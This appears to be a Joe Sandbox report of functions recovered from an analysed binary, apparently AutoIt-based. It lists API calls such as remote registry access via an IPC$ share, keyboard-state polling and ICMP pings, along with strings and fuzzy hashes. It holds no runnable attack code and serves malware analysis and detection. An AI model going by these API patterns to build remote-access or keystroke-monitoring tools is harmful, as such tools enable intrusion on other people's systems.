Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: d296df36dc2f90549d264175fe002487211dca46a80f90346d120e70af5ccc7d
Instruction ID: c0596ef889d51eb8d61c7293ae2ad8557a9ff8ead12e91d10f2172fd9c70e6ff
Opcode Fuzzy Hash: d296df36dc2f90549d264175fe002487211dca46a80f90346d120e70af5ccc7d
Instruction Fuzzy Hash: DD417172800219AACB05FBE0CD96EEE7779AF15304F640066F70576092EB396F48CB65

Function 004106DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 003B6B57: _wcslen.LIBCMT ref: 003B6B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 004107A2
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 004107BE
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 004107DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00410804
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 0041082C
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00410837
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 0041083C

Strings

\CLSID, xrefs: 00410724
SOFTWARE\Classes\, xrefs: 0041070E
\IPC$, xrefs: 00410784

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: 26ec08e7fbe5cd99857140d12263e0e456536237221b19dd31770612b57f1ab6
Instruction ID: 60d3ce24a0b852974644e49fc750c42978c1eca97295c0fa914bba1f7bcc1ddd
Opcode Fuzzy Hash: 26ec08e7fbe5cd99857140d12263e0e456536237221b19dd31770612b57f1ab6
Instruction Fuzzy Hash: CD414B76C00628ABDF11EFA4DC95DEEB778FF04344F14412AEA05AB1A1EB749E44CB90

Function 00443C46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 101windowCOMMON

Download Yara Rule

APIs

CreateMenu.USER32 ref: 00443C79
SetMenu.USER32(?,00000000), ref: 00443C88
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00443D10
IsMenu.USER32(?), ref: 00443D24
CreatePopupMenu.USER32 ref: 00443D2E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00443D5B
DrawMenuBar.USER32 ref: 00443D63

Strings

8Y, xrefs: 00443CCF, 00443CEC
F, xrefs: 00443D4E
0, xrefs: 00443C54

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Menu$CreateItem$DrawInfoInsertPopup
String ID: 0$8Y$F
API String ID: 161812096-1229810776
Opcode ID: 8c5139049da21650be947b7cf166b220693d0ce79f2342d07cf6d0b0f84a5a06
Instruction ID: 77cfa599ccc97d54f49c518668a7c6c9a16c3d7a39676181483ba1419597a6ab
Opcode Fuzzy Hash: 8c5139049da21650be947b7cf166b220693d0ce79f2342d07cf6d0b0f84a5a06
Instruction Fuzzy Hash: 1D415CB9A01209EFEB14CF64D884AEE7BB5FF49751F14002AF95697360D734AA10CF98

Function 00443F98 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 0044403B
CreateCompatibleDC.GDI32(00000000), ref: 00444042
SendMessageW.USER32(?,00000173,00000000,00000000), ref: 00444055
SelectObject.GDI32(00000000,00000000), ref: 0044405D
GetPixel.GDI32(00000000,00000000,00000000), ref: 00444068
DeleteDC.GDI32(00000000), ref: 00444072
GetWindowLongW.USER32(?,000000EC), ref: 0044407C
SetLayeredWindowAttributes.USER32(?,?,00000000,00000001,?,00000000,?), ref: 00444092
DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?), ref: 0044409E

Strings

static, xrefs: 00443FD3

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
String ID: static
API String ID: 2559357485-2160076837
Opcode ID: 1196551e47ef4bde18fac554b0333f26748ca570fc357b3412d47fe40fbd5839
Instruction ID: 031d3248077e64dda5efe45a3b8cd82ef51c340e1f5ac9d930772e086e07189f
Opcode Fuzzy Hash: 1196551e47ef4bde18fac554b0333f26748ca570fc357b3412d47fe40fbd5839
Instruction Fuzzy Hash: 6D318035101215BBEF219FA4DC45FDB3B68EF0E324F150226FA18E61A0C779D820DB58

Function 00433C30 Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00433C5C
CoInitialize.OLE32(00000000), ref: 00433C8A
CoUninitialize.OLE32 ref: 00433C94
_wcslen.LIBCMT ref: 00433D2D
GetRunningObjectTable.OLE32(00000000,?), ref: 00433DB1
SetErrorMode.KERNEL32(00000001,00000029), ref: 00433ED5
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 00433F0E
CoGetObject.OLE32(?,00000000,0044FB98,?), ref: 00433F2D
SetErrorMode.KERNEL32(00000000), ref: 00433F40
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00433FC4
VariantClear.OLEAUT32(?), ref: 00433FD8

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: 8aeba083ef172a7940976ea4f2579d3eacc4ed4aa959e51a15b2648f875b6b57
Instruction ID: 1d3108ec0f5d7f09bffe5cdb0f58589b85e29dfa7e93e71cc16c4ff3105120c1
Opcode Fuzzy Hash: 8aeba083ef172a7940976ea4f2579d3eacc4ed4aa959e51a15b2648f875b6b57
Instruction Fuzzy Hash: C7C176716083019FD700DF68C88496BBBE9FF89749F04591EF98A9B250DB34EE06CB56

Function 00427A96 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00427AF3
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00427B8F
SHGetDesktopFolder.SHELL32(?), ref: 00427BA3
CoCreateInstance.OLE32(0044FD08,00000000,00000001,00476E6C,?), ref: 00427BEF
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00427C74
CoTaskMemFree.OLE32(?,?), ref: 00427CCC
SHBrowseForFolderW.SHELL32(?), ref: 00427D57
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00427D7A
CoTaskMemFree.OLE32(00000000), ref: 00427D81
CoTaskMemFree.OLE32(00000000), ref: 00427DD6
CoUninitialize.OLE32 ref: 00427DDC

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 48f01ebdb3fc9265732c4ff9324dda16fc82048765c779bb94ac78d707881e29
Instruction ID: d3f6c62d7eadd0d84829f9ec05aa832e624c21077c0466f48ff0e757c3423a61
Opcode Fuzzy Hash: 48f01ebdb3fc9265732c4ff9324dda16fc82048765c779bb94ac78d707881e29
Instruction Fuzzy Hash: 0CC15C75A00119AFCB14DFA4D884DAEBBF9FF48304B1484A9E91ADB361DB34ED41CB94

Function 0040FA88 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 0040FAAF
SafeArrayAllocData.OLEAUT32(?), ref: 0040FB08
VariantInit.OLEAUT32(?), ref: 0040FB1A
SafeArrayAccessData.OLEAUT32(?,?), ref: 0040FB3A
VariantCopy.OLEAUT32(?,?), ref: 0040FB8D
SafeArrayUnaccessData.OLEAUT32(?), ref: 0040FBA1
VariantClear.OLEAUT32(?), ref: 0040FBB6
SafeArrayDestroyData.OLEAUT32(?), ref: 0040FBC3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0040FBCC
VariantClear.OLEAUT32(?), ref: 0040FBDE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 0040FBE9

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: c6a668d7eb74c53c5c069f0236d4aaa9f81934d28ffba69db0279a66f0fb0330
Instruction ID: 0073d956df7e97986c7c6133f45798ddcb751f055671d0da304bc10acb8632b3
Opcode Fuzzy Hash: c6a668d7eb74c53c5c069f0236d4aaa9f81934d28ffba69db0279a66f0fb0330
Instruction Fuzzy Hash: B7415F35A00219DFCB10DF64C8949AEBBB9EF48354F04807AE905AB661DB34E945CFA4

Function 00419C79 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00419CA1
GetAsyncKeyState.USER32(000000A0), ref: 00419D22
GetKeyState.USER32(000000A0), ref: 00419D3D
GetAsyncKeyState.USER32(000000A1), ref: 00419D57
GetKeyState.USER32(000000A1), ref: 00419D6C
GetAsyncKeyState.USER32(00000011), ref: 00419D84
GetKeyState.USER32(00000011), ref: 00419D96
GetAsyncKeyState.USER32(00000012), ref: 00419DAE
GetKeyState.USER32(00000012), ref: 00419DC0
GetAsyncKeyState.USER32(0000005B), ref: 00419DD8
GetKeyState.USER32(0000005B), ref: 00419DEA

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: dc37072713cdb1c2f65c66e57245c64b1f86045776b798eacc8fcfeb9e5162fa
Instruction ID: 4226504df177ad6139a8e279257ec48594c60c8ef0f01d7613870239e9324c8a
Opcode Fuzzy Hash: dc37072713cdb1c2f65c66e57245c64b1f86045776b798eacc8fcfeb9e5162fa
Instruction Fuzzy Hash: DF41C7346047C969FF708764D4643E7BEA06B12344F08805BDAC6567C2E7A89DC4C7AA

Function 00449F86 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 260windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003C9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 003C9BB2

GetSystemMetrics.USER32(0000000F), ref: 00449FC7
GetSystemMetrics.USER32(0000000F), ref: 00449FE7
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 0044A224
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 0044A242
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 0044A263
ShowWindow.USER32(00000003,00000000), ref: 0044A282
InvalidateRect.USER32(?,00000000,00000001), ref: 0044A2A7
DefDlgProcW.USER32(?,00000005,?,?), ref: 0044A2CA

Strings

8Y, xrefs: 0044A034

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID: 8Y
API String ID: 1211466189-2504371881
Opcode ID: c4fe270c2c75d82c0ea072c71d1fa1b8b670934f4b052f2116d2d5a5f7d6ed5b
Instruction ID: 9f4817b9f7e7c1f804e8d570739cd55bbfb584b7ed50ec191cd2c93970afc810
Opcode Fuzzy Hash: c4fe270c2c75d82c0ea072c71d1fa1b8b670934f4b052f2116d2d5a5f7d6ed5b
Instruction Fuzzy Hash: F3B1CB30640215EFEF14CF68C9C57AE3BB2BF44301F0880AAEC459B395D779AA50DB56

Function 0043055B Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 207networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 004305BC
inet_addr.WSOCK32(?), ref: 0043061C
gethostbyname.WSOCK32(?), ref: 00430628
IcmpCreateFile.IPHLPAPI ref: 00430636
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 004306C6
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 004306E5
IcmpCloseHandle.IPHLPAPI(?), ref: 004307B9
WSACleanup.WSOCK32 ref: 004307BF

Strings

Ping, xrefs: 00430676

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: b3a9ff4ebe00fc79bf9cf39776ba292d46e9bbc9c317f302f0b39f4119442cd0
Instruction ID: 55998162bfcc128f6a6532be9b9bfb48fc62e22234df4cec31ff412b0eb4920b
Opcode Fuzzy Hash: b3a9ff4ebe00fc79bf9cf39776ba292d46e9bbc9c317f302f0b39f4119442cd0
Instruction Fuzzy Hash: 3A91A0356042019FD320DF15C499F1ABBE0AF49318F1496AAF46A8F7A2C734EC41CF95

Function 00438CD3 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 193COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,00000000,?), ref: 00438CF3

Part of subcall function 00418E54: _wcslen.LIBCMT ref: 00418E77

_wcslen.LIBCMT ref: 00438D4E
_wcslen.LIBCMT ref: 00438D9C
_wcslen.LIBCMT ref: 00438DDC
_wcslen.LIBCMT ref: 00438E6E

Strings

none, xrefs: 00438E65, 00438E6A
cdecl, xrefs: 00438D48, 00438D4D
winapi, xrefs: 00438D96, 00438D9B
stdcall, xrefs: 00438DD6, 00438DDB

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _wcslen$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 707087890-567219261
Opcode ID: b76c735d49d3d90593eaf11f3da591e89a63ea5f9e4525ea7d78b53b24980b0d
Instruction ID: 994ffe9782198988268945e5e70b2a559d0bf4a0c8b68762b3d899daf722fc3d
Opcode Fuzzy Hash: b76c735d49d3d90593eaf11f3da591e89a63ea5f9e4525ea7d78b53b24980b0d
Instruction Fuzzy Hash: 6C51A032A006169BCF14DF68C9519BEB7A5BF68724B20522EF526EB3C4DB38DD40C794

Function 0043372C Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 187comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00433774
CoUninitialize.OLE32 ref: 0043377F
CoCreateInstance.OLE32(?,00000000,00000017,0044FB78,?), ref: 004337D9
IIDFromString.OLE32(?,?), ref: 0043384C
VariantInit.OLEAUT32(?), ref: 004338E4
VariantClear.OLEAUT32(?), ref: 00433936

Strings

NULL Pointer assignment, xrefs: 0043381E
Failed to create object, xrefs: 004337E4, 0043389A
Invalid parameter, xrefs: 00433865

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: 6293773b18ec8a2a76584ee8382d71f9a4376b9aad7a8a95d14546bcc09d3757
Instruction ID: 76286bdb1c1191e2c0a9d3461048596ca8d6b231c37d6793c1d3c149c5d9d93b
Opcode Fuzzy Hash: 6293773b18ec8a2a76584ee8382d71f9a4376b9aad7a8a95d14546bcc09d3757
Instruction Fuzzy Hash: 0961AE70608301AFD311EF54C889B9AB7E4EF49716F10481EF5859B291C778EE49CB9A

Function 00423388 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 004233CF

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 004233F0

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 00423504
Incorrect parameters to object property !, xrefs: 004234AB
^ ERROR , xrefs: 0042349E
Line %d (File "%s"):, xrefs: 00423443, 0042345C
Error: , xrefs: 004234D1
"%s" (%d) : ==> %s:, xrefs: 00423522

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: LoadString$_wcslen
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 4099089115-3080491070
Opcode ID: 88a422511876e18e087d0c4aa58fa9c12edfa29288aafaaa022f7d96d35e6b8d
Instruction ID: 235c06bf9e77116dbcb9e7df3f221de5b18cd4299edcb2a3acca09404014a4ad
Opcode Fuzzy Hash: 88a422511876e18e087d0c4aa58fa9c12edfa29288aafaaa022f7d96d35e6b8d
Instruction Fuzzy Hash: EB51D331900219BADF16EBE0DD42EEEB779AF04304F644066F60976062DB392F98DF64

Function 0041B5C8 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 142COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 0041B5FC
_wcslen.LIBCMT ref: 0041B608
_wcslen.LIBCMT ref: 0041B64D
_wcslen.LIBCMT ref: 0041B68C
_wcslen.LIBCMT ref: 0041B6C7

Strings

KEYS, xrefs: 0041B647, 0041B64C
EXISTS, xrefs: 0041B686, 0041B68B
APPEND, xrefs: 0041B6C1, 0041B6C6
REMOVE, xrefs: 0041B602, 0041B607

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 1256254125-769500911
Opcode ID: ffb6bcada9790df47c367a139839d3c9f9138a31c105accd5a45562945e1d95e
Instruction ID: 6454220dfc89ac1a5cad4dfb8b4a1ed285da89fbaeaabb156b5326ba8f16c6ac
Opcode Fuzzy Hash: ffb6bcada9790df47c367a139839d3c9f9138a31c105accd5a45562945e1d95e
Instruction Fuzzy Hash: C041D232A001269ACB206F7D89A05FF77A5EBB0794B25412BE465DB380E739CDC1C7D5

Function 00425393 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 004253A0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00425416
GetLastError.KERNEL32 ref: 00425420
SetErrorMode.KERNEL32(00000000,READY), ref: 004254A7

Strings

NOTREADY, xrefs: 0042544B
READY, xrefs: 00425460, 00425468
READONLY, xrefs: 00425452
INVALID, xrefs: 00425459
UNKNOWN, xrefs: 00425444

Memory Dump Source

Source File: 00000017.00000002.3218482514.00000000003B1000.00000020.00000001.01000000.00000014.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000017.00000002.3218351047.00000000003B0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.000000000044C000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3218996373.0000000000472000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219452908.000000000047C000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000017.00000002.3219598241.0000000000484000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3b0000_1d003e9e16.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: b8d112206cd8da3aca672859aae510b611ce0228074daaa3d8780a1058b177c2
Instruction ID: d01d153ee2302610ee574fbf71092a03aaf93e2e631f9f5ea8f987a3ef402bfe
Opcode Fuzzy Hash: b8d112206cd8da3aca672859aae510b611ce0228074daaa3d8780a1058b177c2
Instruction Fuzzy Hash: E931DF35B005149FC710EF68E484BEABBB4EB05309F58806BE505CB392DB38DD82CB95

Function 00411EDF Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 78windowCOMMON

Download Yara Rule

APIs

Part of subcall function 003B9CB3: _wcslen.LIBCMT ref: 003B9CBD

Part of subcall function 00413CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00413CCA

SendMessageW.USER32(?,0000018C,000000FF,00020000), ref: 00411F64
GetDlgCtrlID.USER32 ref: 00411F6F
GetParent.USER32 ref: 00411F8B
